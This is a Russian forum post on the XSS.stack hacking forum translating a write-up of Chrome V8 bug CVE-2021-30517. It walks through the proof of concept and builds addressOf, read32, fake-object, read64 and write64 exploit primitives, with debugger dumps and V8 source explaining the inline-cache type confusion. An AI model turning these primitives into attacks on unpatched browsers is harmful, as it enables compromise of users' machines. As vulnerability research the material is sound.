• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Изучение эксплойтов V8 с нуля / Спасибо товарищу CVE-2021-30517 за наше счастливое детство! /(7)

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Автор: Hcamael@Know Chuangyu 404 Lab
Перевод этой статьи

"У каждой ошибки есть имя и фамилия"

Следующей CVE которую мы отправим в ссылку разберем будет CVE-2021-30517. Номер ошибки Chrome: 1203122
Последняя версии Chrome: 90.0.4430.93
Последняя версия V8: 9.0.257.23

Соответствующие PoC:

Код:
function main() {
    class C {
        m() {
            super.prototype
        }
    }
    function f() {}
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = 1
    c.x1 = 1
    c.x2 = 1
    c.x3 = 1
    c.x4 = 0x42424242 / 2

    f.prototype
    c.m()
}
for (let i = 0; i < 0x100; ++i) {
    main()
}

Сборку среды в осуществим в 1 клик:

Код:
$ ./build.sh 9.0.257.23

Этот PoC очень похож на PoC из предыдущего исследования, поэтому, мой друг, можешь попробовать применить технику heap spray, хоть для этой уязвимости есть и другой метод:

Код:
obj = {a:1};
obj_array = [obj];
%DebugPrint(obj_array);
function main() {
    class C {
        m() {
            return super.length;
        }
    }
    f = new String("aaaa");
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = obj_array;
    f.length;
    return c.m();
}
for (let i = 0; i < 0x100; ++i) {
    r = main()
    if (r != 4) {
        console.log(r);
        break;
    }
}


Запустим PoC и получим результат:

Код:
DebugPrint: 0x322708088a01: [JSArray]
 - map: 0x322708243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x32270820b899 <JSArray[0]>
 - elements: 0x3227080889f5 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x32270804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3227080446d1: [String] in ReadOnlySpace: #length: 0x32270818215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3227080889f5 <FixedArray[1]> {
           0: 0x3227080889c9 <Object map = 0x322708247141>
 }

134777333
hex(134777333) = 0x80889f5

Возвращаемая конечная длина равна адресу элементов переменной obj_array. Если вы понимаете вышеприведенное объяснение обфускации типов, вы должны быть в состоянии увидеть вышеприведенный PoC, в котором происходит утечка элементов переменной obj_array путем обфускации типов String и Array.

Утечка переменных адресов


Код:
obj = {a:1};
obj_array = [obj];
class C {
    constructor() {
        this.x0 = obj_array;
    }
    m() {
        return super.length;
    }
}
let receive = new C();
function trigger1() {   
    lookup_start_object = new String("aaaa");
    C.prototype.__proto__ = lookup_start_object;
    lookup_start_object.length;
    return receive.m()
}
for (let i = 0; i < 140; ++i) {
    trigger1();
}
element = trigger1();

Пишем функцию addressOf

Код:
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    receive2.length = (element-0x1)/2;
    low3 = trigger2();
    receive2.length = (element-0x1+0x2)/2;
    hi1 = trigger2();
    res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
    return res-1;
}

class B extends Array {
    m() {
        return super.length;
    }
}
let receive2 = new B();
function trigger2() {   
    lookup_start_object = new String("aaaa");
    B.prototype.__proto__ = lookup_start_object;
    lookup_start_object.length;
    return receive2.m()
}
for (let i = 0; i < 140; ++i) {
    trigger2();
}

"Жить стало лучше, жить стало веселее!"

Функция addressOf по сравнению с той, что была написана в предыдущей статье, немного сложнее, поэтому здесь приведены некоторые пояснения.
Свойство длины receive2 относится к типу SMI, значение, хранящееся в памяти, является четным числом, а его значение, деленное на 2, является значением реального SMI. Путь для объекта String для чтения длины следующий: String->value(String+0xB)->length(*value+0x7)
Поскольку объект receive2 рассматривается как объект String через лазейку, значение receive2+0xB является значением свойства receive2.length.
Таким образом, мы можем установить значение value через receive2.length, но только в четное число, тогда как правильное значение должно быть нечетным, поэтому здесь нам нужно прочитать его дважды, а затем восстановить нужное нам значение с помощью побитовых операций.

Напишем функции read32

В отличие от предыдущего шаблона, этот эксплойт позволяет нам писать произвольные функции чтения без создания fake_obj. Чтобы облегчить последующую эксплуатацию, в EXP для этого эксплойта мы добавляем функцию read32.

Код:
function read32(addr)
{
    receive2.length = (addr-0x8)/2;
    low3 = trigger2();
    receive2.length = (addr-0x8+0x2)/2;
    hi1 = trigger2();
    res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
    return res;
}

Принцип тот же, что и у addressOf.

Напишем функции read64

Из-за природы эксплойта нам не нужно писать функцию fakeObject в этот раз, поэтому далее нам нужно построить fake_obj, чтобы написать функцию read64.
Отладим PoC, который мы использовали в предыдущей статье. PoC только сливает адрес, но не позволяет нам получить поддельный объект. Однако PoC, приведенный в начале статьи, на странице ошибок Chrome, позволяет нам получить объект. Это происходит потому, что это обфускация типа объекта-прототипа функции.

Fake_obj показан ниже.

Код:
var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5];
var fake_array_addr = addressOf(fake_array);
fake_array_map = read32(fake_array_addr);
fake_array_map_map = read32(fake_array_map-1);
fake_array_ele = read32(fake_array_addr+8) + 8;
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
fake_array[3] = 0;
fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);

class A extends Array {
    constructor() {
        super();
        this.x1 = 1;
        this.x2 = 2;
        this.x3 = 3;
        this.x4 = (fake_array_ele-1+0x10+2) / 2;
    }
    m() {
        return super.prototype;
    }
}
let receive3 = new A();
function trigger3() {   
    function lookup_start_object(){};
    A.prototype.__proto__ = lookup_start_object;
    lookup_start_object.prototype;
    return receive3.m()
}
for (let i = 0; i < 140; ++i) {
    trigger3();
}
fake_object = trigger3();

Путем отладки можно обнаружить, что функция lookup_start_object получает объект-прототип по пути: lookup_start_object->function prototype(lookup_start_object+0x1B), если карта по этому адресу является объектом, представляющим тип, он будет выглядеть следующим образом.

Код:
0x257d08242281: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map

Характеристики измененного объекта:

Код:
pwndbg> x/2gx 0x257d08242281-1
0x257d08242280: 0x1408080808042119 0x084017ff19c20423
pwndbg> x/2gx 0x257d00000000+0xC0
0x257d000000c0: 0x0000257d08042119 0x0000257d08042509
pwndbg> job 0x257d08042119
0x257d08042119: [Map] in ReadOnlySpace
 - type: MAP_TYPE
 - instance size: 40
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x257d080423b5 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x257d080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x257d08042235 <null>
 - constructor: 0x257d08042235 <null>
 - dependent code: 0x257d080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

Если lookup_start_object+0x1B выполняется по адресу со значением карты 0x08242281, получите его прототип(+0xF).
В приведенном выше PoC: fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000); подделывается карта типа MAP.
Этот адрес плюс 0xf: fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000); указывает на начало fake_array.

Код:
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);

С помощью fake_obj мы можем написать функцию read64.

Код:
function read64(addr)
{
    fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
    return fake_object[0];
}

Напишем функцию write64:

Код:
function write64(addr, data)
{
    fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
    fake_object[0] = itof(data);
}

Остальная работа заключается в обычном выполнении, установке шаблона и изменении смещений. На данный момент я не вижу ничего, что можно было бы оптимизировать в этом PoC.

Краткое описание уязвимости

"Краткость - сестра таланта"

В логике вышеприведенной forged fake_obj, v8 возвращает прототип функции следующим образом

Код:
Node* CodeStubAssembler::LoadJSFunctionPrototype(Node* function,
                                                 Label* if_bailout) {
  CSA_ASSERT(this, TaggedIsNotSmi(function));
  CSA_ASSERT(this, IsJSFunction(function));
  CSA_ASSERT(this, IsClearWord32(LoadMapBitField(LoadMap(function)),
                                 1 << Map::kHasNonInstancePrototype));
  Node* proto_or_map =
      LoadObjectField(function, JSFunction::kPrototypeOrInitialMapOffset);
  GotoIf(IsTheHole(proto_or_map), if_bailout);
  VARIABLE(var_result, MachineRepresentation::kTagged, proto_or_map);
  Label done(this, &var_result);
  GotoIfNot(IsMap(proto_or_map), &done);  -> 判断是否为MAP对象
  var_result.Bind(LoadMapPrototype(proto_or_map)); -> 如果是,则返回其prototype,偏移为0xf
  Goto(&done);
  BIND(&done);
  return var_result.value();
}

Принцип работы уязвимости также описан на странице описания ошибки в Chrome и заключается в путанице между receiver и lookup_start_object.

Следующий пример:

Код:
class A extends Array {
    constructor() {
        super();
        this.x1 = 1;
        this.x2 = 2;
        this.x3 = 3;
        this.x4 = (fake_array_ele-1+0x10+2) / 2;
    }
    m() {
        return super.prototype;
    }
}
let receive3 = new A();

где переменная receive3 - приемник, а lookup_start_object - A.prototype.__proto__.

Далее рассмотрим следующий код.

Код:
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
  Handle<Object> receiver = lookup->GetReceiver();
  ReadOnlyRoots roots(isolate());
  // `in` cannot be called on strings, and will always return true for string
  // wrapper length and function prototypes. The latter two cases are given
  // LoadHandler::LoadNativeDataProperty below.
  if (!IsAnyHas() && !lookup->IsElement()) {
    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringLength);
    }
    if (receiver->IsStringWrapper() &&
        *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
    }
    // Use specialized code for getting prototype of functions.
    if (receiver->IsJSFunction() &&
        *lookup->name() == roots.prototype_string() &&
        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
      return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
    }
  }
  Handle<Map> map = lookup_start_object_map();
  Handle<JSObject> holder;
  bool holder_is_lookup_start_object;
  if (lookup->state() != LookupIterator::JSPROXY) {
    holder = lookup->GetHolder<JSObject>();
    holder_is_lookup_start_object =
        lookup->lookup_start_object().is_identical_to(holder);
  }

При получении свойства прототипа функции или строкового объекта для получения его свойства длины (т.е. super.prototype(super.length)) вместо A.prototype.__proto__ используется receiver.

Приведенный выше код оптимизирован для ICs, и уязвимость не возникает без inline-кэша.

Ссылка
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх